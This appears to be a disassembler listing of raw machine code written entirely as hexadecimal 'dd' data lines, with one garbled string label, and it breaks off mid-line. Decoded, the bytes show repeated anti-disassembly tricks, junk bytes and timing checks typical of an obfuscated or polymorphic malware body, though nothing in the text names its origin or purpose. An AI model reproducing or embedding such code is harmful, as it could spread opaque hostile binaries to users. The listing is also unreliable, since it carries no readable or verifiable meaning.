0CF68166h dd 0B5FF61FBh, 5E5BB9Dh, 95FF6BB7h, 5E214E9h, 50DFBF0Fh dd 3489DA8Bh, 0E5B58924h, 0FF05E204h, 0E5BB9DB5h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 7A8A5701h, 0FE9h, 0CB16CB00h, 0A6F98412h, 0DB640941h dd 0CBF04AD2h, 2D2195FFh, 0BD8B05E2h, 5E216A9h, 89BD83h dd 0F0005E2h, 2E84h, 0C1B58900h, 9605E203h, 6A9650h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 87E547C3h, 0C7A55F7Dh, 0FFDA8B66h, 0E5BB9DB5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 66602956h, 0FFF30DBFh, 0E2041595h, 0FDBD2B05h, 0FF05E21Dh dd 0E5BB9DB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 845CAFC5h, 0D124E793h dd 5E82987h, 64000000h, 8E3ABAB0h, 196D9589h, 0FF5B05E2h dd 0E20A5995h, 0C99D8B05h, 8305E207h, 0E224CDBDh, 840F0205h dd 70h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 19C35242h, 629DBC31h, 0B230CEB7h, 858BA8B3h, 5E21F35h dd 0C0DB589h, 9D2305E2h, 5E2073Dh, 6A0000C6h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 3330C355h, 9D318089h, 5E224FDh, 0BE9h, 0FD544900h, 0C7382E90h dd 0EF1C1FFh, 0CF985C7h, 5E2h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 3CB690C3h dd 6C910249h, 8BE6535Ch, 0E20C25BDh, 0E3816605h, 85891E23h dd 5E21391h, 0FFF407E9h, 0F8BF0FFFh, 6AC18Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0C0D1C7C3h dd 0D4F8E2A7h, 0BD8B23ECh, 5E21BC9h, 0E91858Dh, 0BB6605E2h dd 0E990472Fh, 14h, 0AE22DB54h, 108D6829h, 0C19596EFh dd 0F5B6EB2Fh, 1D195246h, 0DE8B6650h, 91958990h, 2B05E213h dd 0E22CDDBDh, 6A006A05h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 5B89C351h, 6A8F1C90h dd 13E900h, 8EAB0000h, 0E4EB7584h, 73BE425Fh, 0E48D7414h dd 1A3D5389h, 5F79BB03h, 858D4303h, 5E71B4Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CEC35141h, 3840F90h dd 52000000h, 0C0835BF5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FBD8058h dd 388h, 0CDDF8000h, 1C840F50h, 60000000h, 0FE9h, 0DBE04900h dd 2FBADFEEh, 0F4A8D9CAh, 0D8603980h, 310F5250h, 8961585Ah dd 0B70F2404h, 6A006AFAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 6A7BC357h, 0BBBB6600h dd 0D9958923h, 0FF05E200h, 0E21E2D95h, 808D8D05h, 6A05E59Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 4E34C350h, 820FE0h, 0FF000000h, 52006AD1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 758D31DCh, 8305E20Dh, 0E200B9BDh, 850F0105h, 0A7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 7FB21A42h dd 54BD0B35h, 18558509h, 26A05E2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0DFC35646h, 1684F197h, 0F7EFFBEh dd 5090FABFh, 1C890Fh, 12E80000h, 5000000h, 0E125F34Fh dd 966C438Ch, 0BD939A44h, 15D35AECh, 45BF66CBh, 0B3905B61h dd 0E995FFDBh, 6A05E214h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0B7F3C352h, 0D6EF8166h dd 0CDBD89A2h, 0E905E200h, 0DA0h, 0E8h, 0ED815D00h, 5E71B56h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 27C35040h dd 0AB5BD8Bh, 9D8B05E2h, 5E201A5h, 8E9E858Dh, 6E905E5h dd 7C000000h, 83CCC8D5h, 319D2B84h, 5005E20Ch, 19890Fh dd 14E90000h, 11000000h, 8833065h, 0E0CCB770h, 90773C44h dd 3688A078h, 89EE5015h, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8166AFC3h, 0E9125BC7h dd 0Dh, 0EFBA9FDDh, 2D001110h, 0CA3EA813h, 35FF6402h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 82C35747h dd 0AF39C932h, 258964h, 29000000h, 0E2184D85h, 2985FF05h dd 6A05E223h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 8D33C350h, 9BD8BB9h, 3105E22Bh dd 0E21B3D85h, 81FF6A05h, 42CEBEC7h, 0DDB5FF53h, 2905E203h dd 0E21735BDh, 9D95FF05h, 0E905E218h, 136h, 835BD29h, 0B005E2h dd 11E9h, 0F7FCEA00h, 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh dd 70E68472h, 71E4A8B3h, 8E9h, 6F604600h, 77169F29h, 0D6F381BAh dd 3C1B9346h, 0F7830F61h, 8B000000h, 0E221399Dh, 0FAB2BF05h dd 0B60F560Fh, 0E6F4BBC8h, 6BA794Eh, 66000000h, 46E8F781h dd 9D8BC18Bh, 5E22BDDh, 0F04E8C1h, 0D84h, 8E900h, 0EA510000h dd 0C989CAFFh, 0F7664A66h, 9E9E2h, 0CFCC0000h, 0E2BC208Eh dd 2BACB3AFh, 819D8BC8h, 8B05E22Dh, 0E9D88BD1h, 9Ah, 5E9h dd 0F531F000h, 858B66E7h, 44004E49h, 5E960h, 80250000h dd 8902BCC0h, 0E22D819Dh, 0C0836105h, 6BB86007h, 3443914h dd 0E21A3985h, 8A0F6105h, 5, 2CD78166h, 0C08308h, 3BF98B66h dd 19830FD0h, 89000000h, 0E21F3195h, 44E905h, 9E90000h dd 0AE000000h, 0D34A47EBh, 59572685h, 0FFFF8D8Bh, 0BD8BFFFFh dd 5E20A09h, 0F01E183h, 2184h, 61BD8B00h, 8305E21Ah, 0FFFFFFA5h dd 0BF0FFEFFh, 499589FFh, 8B44004Eh, 0E22C51BDh, 0E905h dd 0B58D0000h, 5E694D3h, 6A60B3h, 13E9h, 5595C200h, 10015A6h dd 4AD1F1BAh, 70A8B3Dh, 56A0866Ah, 14E9h, 57CDD600h, 95675126h dd 9E64818h, 0F717BCA3h, 52BB6052h, 0B995FF3Ch, 6A05E20Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0AA44C352h, 0CE9DB09Dh, 4D8D89DEh, 0B905E20Eh dd 1064h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0CDC35646h, 0E183F8A8h, 0C8E0FFCh, 0F000000h, 681h dd 0F59D8B00h, 0F05E208h, 31FCDBBFh, 0E216B595h, 6AC02B05h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 64B5C350h, 0FB6F0287h, 5DBD8BC8h, 0F05E223h dd 481h, 0EFBB6600h, 0BA69h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 3A114AC3h dd 0E5F8C9B3h, 0FB8B66D2h, 22E59589h, 33AD05E2h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 7FD9DBC3h, 8BD4D012h, 0E21E799Dh dd 4D950105h, 0D05E218h, 88h, 1B458D89h, 958B05E2h, 5E20BE9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 2FC35747h dd 0BCF3387Ah, 8AF10547h, 19058529h, 8D8B05E2h, 5E20761h dd 0D5DAF781h, 8B50277Ah, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 49C35747h, 59367427h, 95A8252h, 0AE9EFh, 1BF30000h dd 4B2013E5h, 5A09BF67h, 10D9BD8Bh, 0BD8305E2h, 5E20D79h dd 72840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 287CC352h, 0A8541EEFh dd 0B8E9h, 880F0000h, 6, 1CE99D8Bh, 8D8D05E2h, 5E24C42h dd 1ED216BBh, 0EDCB8160h, 0FF72C1D1h, 56006AE1h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 4AE6BB44h, 8166628Ch, 8902FBD3h, 0E221AD95h, 55BD8305h dd 5E21Bh, 411840Fh, 0BD890000h, 5E20099h, 1B55BD83h, 0F0105E2h dd 41984h, 0B18D2900h, 8305E22Ah, 0E21B55BDh, 860F0305h dd 3D0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 8C35343h, 5E7F353Bh, 0DED69E83h, 75858960h, 8B05E229h dd 0E218FD9Dh, 0D98C6605h, 265DBD2Bh, 9D8905E2h, 5E20771h dd 0E904E180h, 0Fh, 0FBF9E3CDh, 1F62B562h, 0BA9D0498h dd 0AFD9CE5h, 4F840FC9h, 0F000001h, 584h, 0EB816600h, 858B0D5Fh dd 5E2241Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0B4C35242h, 0A658525Fh, 6ED36532h, 2AA98533h, 6A05E2h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 34A6B2C3h, 0F17A48Ch, 8BCCEB5Dh, 0E21B59BDh, 0F860F05h dd 0E8000000h, 7, 0EE494035h, 50E745DDh, 66505F5Bh, 489DF8Bh dd 0DFB70F24h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0C4A391C3h, 0A1E90F03h, 0E9F91047h dd 0Fh, 1D58EFB2h, 2CECAFD5h, 381060C1h, 6892F649h, 0D7F61798h dd 168B0Fh, 11E90000h, 0EB000000h, 292BF56Dh, 7C439CA3h dd 0B6E2EDAFh, 0E0B7B45Eh, 67240481h, 6A2828ECh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0E98BC353h, 1701A7B5h, 817048E2h, 2EE2DEC3h, 3995FF52h dd 6A05E208h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 1563C353h, 4DF05C5Bh, 55C02F10h dd 0BB9D8589h, 0BF6605E5h, 0A4E98E14h, 0F000001h, 858BDEB7h dd 5E5BB95h, 0C75B53h, 18h, 19F9BD8Bh, 0B58B05E2h, 5E5BB99h dd 0C4D9D8Bh, 858B05E2h, 5E200F9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 5EC35343h, 0B2A8B1Dh, 89F147F8h dd 0FE906h, 1A070000h, 79FA0C5h, 0F945A729h, 0B601E485h dd 73B860B3h, 2946A19Ah, 0E21755BDh, 858B6105h, 5E2241Dh dd 3840Fh, 0B70F0000h, 44689D9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 86C35141h, 894CB350h, 6A2434h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 37BE1EC3h, 2D0A896Dh, 6E9C5h, 0DCF20000h, 0A0D524ABh dd 0BB95B5FFh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0B58994C3h, 5E22B21h, 11E9h, 2C707700h dd 68FE5045h, 0DF923F08h, 0B98E06BEh, 156855A7h, 8156324Fh dd 4CEA2434h, 6A562Dh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 45A9FC3h, 0E9399757h, 7, 3382A06h dd 8D9597E3h, 0E5BB9D85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 6E8CBACh, 57000000h dd 810AB51Ah, 5F67B3AEh, 7C99D29h, 605005E2h, 830F60h dd 50000000h, 5A310F52h, 91B96158h, 613DCAF0h, 89240489h dd 0E20A8995h, 3995FF05h, 6105E208h, 10318D89h, 85C705E2h dd 5E21B55h, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0D4C35646h, 43BFE176h, 0BD2997B1h, 5E21BC5h, 0BB9DBD83h dd 0F0005E5h, 3B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 6D55AC6h, 29B5B6ABh, 0E230898Dh dd 0C5BD8905h dd 0E905E215h, 23h, 0BD8BF98Bh, 5E21E6Dh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 53C08B00h, 0FF19D01h dd 6A5F05E2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 567AC355h, 782E103h, 0AEDA1052h dd 6830Fh, 9D8B0000h, 5E2072Dh, 9D89DF8Bh, 5E22D29h, 1B55BD83h dd 0F0305E2h, 3FE85h, 0BD83FC00h, 5E5BB9Dh, 0F0840F00h dd 0BF000003h, 62B33C7Eh, 0BB9DB5FFh, 0BD8905E5h, 5E23135h dd 0AC30BF66h, 172D95FFh, 665005E2h, 51EDD381h, 91B58B5Bh dd 6A05E5BBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0C230C351h, 0C731FDE7h, 1000106h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 3EBC7C42h, 6E9h, 43B0C300h, 96E1C3B0h, 0BF665250h dd 310FADB9h, 0DB948EBFh, 50585A67h, 6A96CFB7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0DA0DC356h, 0BD29ACF9h, 5E21D95h, 88A0Fh, 8B560000h dd 0E210C1BDh, 0B5FF5F05h, 5E5BB9Dh, 695F381h, 95FF22BBh dd 5E22BD1h, 91B58BF8h, 5105E5BBh, 0C2DF8166h, 858B5FC2h dd 5E210DDh, 0E6B0BB66h, 0C48689h, 0BD890000h, 5E20529h dd 0BE9958Bh, 9E905E2h, 7D000000h, 83BB8F4Eh, 38AAF125h dd 8904C283h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 35C04FC3h, 0FD942076h, 9D034650h dd 5E22BF1h, 0CE5B858Dh, 6A05E5h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8B0F14C3h, 0Bh, 0D98B6660h dd 14418529h, 0FC6105E2h, 0B88689h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D2F0BBC3h dd 0E442BD41h, 6E8h, 14336D00h, 310EA5B4h, 0E210259Dh dd 95895F05h, 5E21801h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 362C6BC3h, 0E97BFFE1h dd 0Bh, 99945C1Fh, 0D499129h, 0FF8E97B6h, 0E5BB9DB5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 53B335C0h, 14E995FFh, 9D8B05E2h, 5E200C9h, 50D98B96h dd 6482DABBh, 6A9640h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0AC85F1C3h, 0EBC85ADBh, 0DE9h, 609F2300h dd 4DF9BD0Eh, 0E950667Fh, 0B5FFC19Ch, 5E5BB9Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8BC35747h, 8BB58B16h dd 0E222D1BDh, 2195FF05h, 6605E22Dh, 832EF2BBh, 0E20089BDh dd 840F0005h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0FEC35343h, 596A70A5h, 8924355Eh, 0E231459Dh dd 0BD8B5605h, 5E2265Dh, 810F965Bh, 0Dh, 8E9h, 17C33E00h dd 3D008124h, 0FE8B50B9h, 0DABF6696h, 9DB5FFDAh, 6A05E5BBh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 503CC351h, 55D0196Fh, 0A64452B3h, 0B6D78166h dd 1595FF5Ch, 0F05E204h, 682h, 19BD3300h, 0FF05E201h, 0E5BB9DB5h dd 4D9D8B05h, 0FF05E20Ch, 0E20A5995h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 1DC9BED8h, 23D58589h, 0BD8305E2h, 5E224CDh, 60840F02h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 1DF1C350h, 0D04FCCB4h, 0E9D084CBh dd 0Dh, 97D943E7h, 6A111A3Bh, 0D8EF32E0h, 35858BCCh, 0F805E21Fh dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 43B5C357h, 0C7DEBF0Fh, 0E20CF985h dd 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 55BD29A2h, 0E905E22Dh, 0FFFFF3A9h dd 9E8h, 83D7E200h, 875F4F21h, 9E80057h, 72000000h, 77E76C02h dd 0C266D1D5h, 1D098D09h, 5F5B05E2h, 14E8C18Bh, 0D1000000h dd 8B5142B8h, 0BC39A48Eh, 361FA045h, 21C78AA2h, 669D10EBh dd 5FA008BFh, 0E91858Dh, 8E805E2h, 51000000h, 0F9836F1Ah dd 8B03205Bh, 51905FDAh, 696713BFh, 0BB505B56h, 19FF00EEh dd 0DA8B6690h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0BBF7C6C3h, 34A6B2EBh, 99BD898Ch dd 6A05E210h, 80605700h, 858969E8h, 5E21B51h, 9D335F61h dd 5E20965h, 2AF2858Dh, 0BE905E7h, 0F000000h, 95DF8F92h dd 0A0D26940h, 0C0833522h, 0A1858905h, 0E905E20Fh, 9, 0BE2E7E7Ch dd 0DCE1D5C7h, 870F5060h, 0Ch, 61605250h, 0BB66310Fh, 585A4AAEh dd 0B240489h, 0E20B599Dh, 6A006A05h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 7A2C352h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 657ADC3h, 0FF808A05h, 0FFDE8B66h, 0E21E2D95h dd 7E905h, 51980000h, 1C0C3661h, 0B7BF666Bh, 808D8DD7h dd 6A05E59Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 97A1C352h, 37C740D3h, 0D8B560CCh dd 2349BD8Bh, 8D8905E2h, 5E21E59h, 6AD1FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9EAF57C3h dd 0D938D381h, 0BD8305A3h, 5E200B9h, 8A850F01h, 8B000000h dd 0E210F1BDh, 0E9026A05h, 11h, 0EAAD8F50h, 30203243h dd 2F61E8F4h, 46D7CF0Bh, 0D98B90ACh, 22D2BF50h, 6A904A0Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 1FEEC357h, 0C1142E74h, 8A0F52B8h, 2, 0D38151B3h dd 57449445h, 14E995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 7EE1A7C3h, 154FB7B9h dd 8B4B546Fh, 0E232699Dh, 0D06E905h, 0E80000h, 5D000000h dd 2AFCED81h, 6E805E7h, 28000000h, 3C99616Ah, 0CBD381FAh dd 5F53E941h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0F7C35343h, 0E4FEB4h, 1E73E806h, 8E930h, 0C6F20000h dd 0CCCEDB80h, 858D43C9h, 5E58E9Eh, 0AE95090h, 54000000h dd 32C056F9h, 95894E0Fh, 6A90CAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 1836D5C3h, 548A5133h dd 0FF6436E4h, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 269065B1h, 4E82BB66h dd 258964h, 0E9000000h, 12h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h dd 0A19DF547h, 85FF7EB3h, 5E22329h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 80C35646h, 0EB6B18FEh, 56BF66C2h dd 0E9FF6A9Ch dd 0Bh, 0D6D2CF60h, 2A5360BAh, 0FF8C9503h, 0E21D05B5h dd 0FF2FB705h, 0E2189D95h, 131E905h, 0EE90000h, 0FB000000h dd 822A10C2h, 0C7AC91C2h, 0D29FC563h, 0E800B046h, 0Eh dd 87B9AE32h, 398CF701h, 7E30CA14h, 9D29E17Ah, 5E219B9h dd 3170E65Bh, 0E2158985h, 0F871E405h, 303D9D8Bh, 613C05E2h dd 0E9830Fh, 0EE90000h, 26000000h, 0B5339C73h, 0A4B4529h dd 6FB5A1C7h, 0C8B60FF4h, 13E99509h, 6BA05E2h, 8B000000h dd 0FBBF0FC1h, 8904E8C1h, 0E21E79B5h, 0E2F76605h, 10E9h dd 7E37300h, 1CFA32ADh, 3519BAD9h, 0F65E2885h, 29C82BC9h dd 0E22B11B5h, 8BD18B05h, 91E9DFh, 0DB800000h, 4C858B70h dd 0E8505F4Ch, 8, 54424D3Ah, 0A4EFCE7Ch, 835FB1B7h, 0B58907C0h dd 5E200E5h, 0FD9D8960h, 0F805E200h, 0C08361h, 73D9589h dd 0D03B05E2h, 9830Fh, 8B660000h, 4DE9F8h, 8BF50000h, 0FFFFFF8Dh dd 199D8BFFh, 8305E22Ch, 840F01E1h, 37h, 12D9D8Bh, 9D8905E2h dd 5E204DDh, 0FFFFA583h, 89FEFFFFh, 5F4C4C95h, 14E950h dd 56E60000h, 0AD22A8A7h, 0CE30A9Fh, 0FFA3929Bh, 124B4D8Dh dd 0E9CF04h, 8D000000h, 0E6A537B5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B601284h dd 0E20D858Dh, 8D858B05h, 6105E216h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0B56EAFC3h dd 0C5458B06h, 0BBC38181h, 8B6CBACEh, 0E226A99Dh, 0B995FF05h dd 6A05E20Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0B12FC353h, 8D9C552Bh, 7F78059Ch dd 0B618D89h, 63B905E2h, 6A000011h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E5D2C353h dd 8910B764h, 0E21C9D8Dh, 0FCE18305h, 0FCDA8B66h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 52C35545h, 2CD99D8Bh dd 0B805E2h, 8B000000h, 0E2089DBDh, 6AD22B05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 87F1C355h, 0C4E57209h, 7CBB66DDh, 21BD8B8Ch, 0AD05E20Dh dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 6ACBC350h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 489BC353h, 0D2EB733h, 88h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 0CAC35141h, 8BF40132h dd 0BE9958Bh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0F6BECFC3h, 33D37869h, 0BF0F5622h dd 618D8BFEh, 5005E207h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0A49A1749h, 0BB66F615h, 9D89B04Ch dd 5E23119h, 0D79BD83h, 0F0005E2h, 7284h, 0B807B700h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0C3C35343h dd 0E0BB1AD7h, 8B708410h, 0E21EAD9Dh, 8D8B6005h, 5E21B31h dd 2D1DB589h, 8D6105E2h, 0E24C428Dh, 0A19D8B05h, 0FF05E226h dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 12D7EB1Eh, 55858938h, 8305E22Ch, 0E21B55BDh dd 840F0005h, 404h, 2D41BD89h, 0BD8305E2h, 5E21B55h, 0C840F01h dd 66000004h, 83C3A5BFh, 0E21B55BDh, 860F0305h, 3C5h, 0F589BF66h dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 8288ACC4h, 31169C68h, 0E20035BDh, 0D88B6605h dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 427AC355h, 80F9500Bh, 0B70F04E1h dd 0FC90AF8h, 15484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0E4CC7BE9h, 29F8442Eh dd 0E2054595h, 1D858B05h, 6A05E224h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6621C356h dd 3351A3BFh, 0E22AA985h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0CF81BEC3h dd 1004787Bh, 26BF6690h, 5250500Ch, 176949BBh, 50310F09h dd 0F525052h, 0F585A31h, 0DE931h, 30E00000h, 0CE96A634h dd 2812E7E1h, 5A536395h, 90585A58h, 0F38B6660h, 61CF8B66h dd 0E8F9006Ah, 4, 1F03FFh, 83FBBB66h, 0E8525050h, 14h dd 14460FBAh, 362F96F9h, 8DD03B2h, 2B001F9Ah, 0CC5DF68Ah dd 8A310F5Fh, 8B585ADEh, 8B042444h, 0F88B6600h, 4244489h dd 8D0F5660h, 0 aYGcsaxj db 'Y¸(g—saXj',0 dw 0E852h dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B6C35242h, 2972D309h dd 0E21639B5h, 12E905h, 45E50000h, 0FDDA093Fh, 0E84259C6h dd 0A27C082Fh, 0D139C3C8h, 83995FFh, 0BD2905E2h, 5E21001h dd 0BB9D8589h, 84E905E5h, 0B7000001h, 95858B02h, 6A05E5BBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 7086C357h, 0E9832585h, 0Fh, 0F0C809DDh, 171E7039h dd 9E5D6819h, 0C7E25488h, 1800h, 0D9BD8B00h, 8B05E20Fh dd 0E5BB99B5h, 0A6CB8105h, 8B6581E9h, 0E200F985h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0EEBEF7F3h, 1ECB3244h, 0A9BD89F9h, 8905E200h, 50505006h dd 8B5B5F5Bh, 0E2241D85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 3671BBD5h dd 0F013751Ch, 0BD89F79Ah, 5E20759h, 9E9h, 6EEA8600h, 0FEF9EC0Ah dd 46896157h, 41950104h, 5005E21Ah, 1BB36052h, 800Fh, 5B610000h dd 8A243489h, 95B5FFFDh, 6805E5BBh, 1F423A9h, 2890Fh, 0FB8B0000h dd 56243481h, 0F501EB20h, 0BB9D858Dh, 6A05E5h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 7144C3C3h, 80A7FEC9h, 6614CF32h, 50583ABFh, 489F88Bh dd 9D9D8B24h, 0E805E219h, 14h, 2C8B1F0Bh, 55C49D56h, 9FC0193Fh dd 0E6318367h, 197D7190h, 5BFABF0Fh, 83995FFh, 6A05E2h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0A3B3D4C3h, 0B14738AEh, 619767F3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0CDC35343h, 319AB237h, 0E34BB66h dd 1B5585C7h, 305E2h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0CF96D9C3h, 2BF9AA8h dd 0BB9DBD83h, 0F0005E5h, 3084h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0ADBD332Fh dd 0F05E210h, 21E9DEBFh, 89000000h, 0E2328DBDh, 0C305005h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 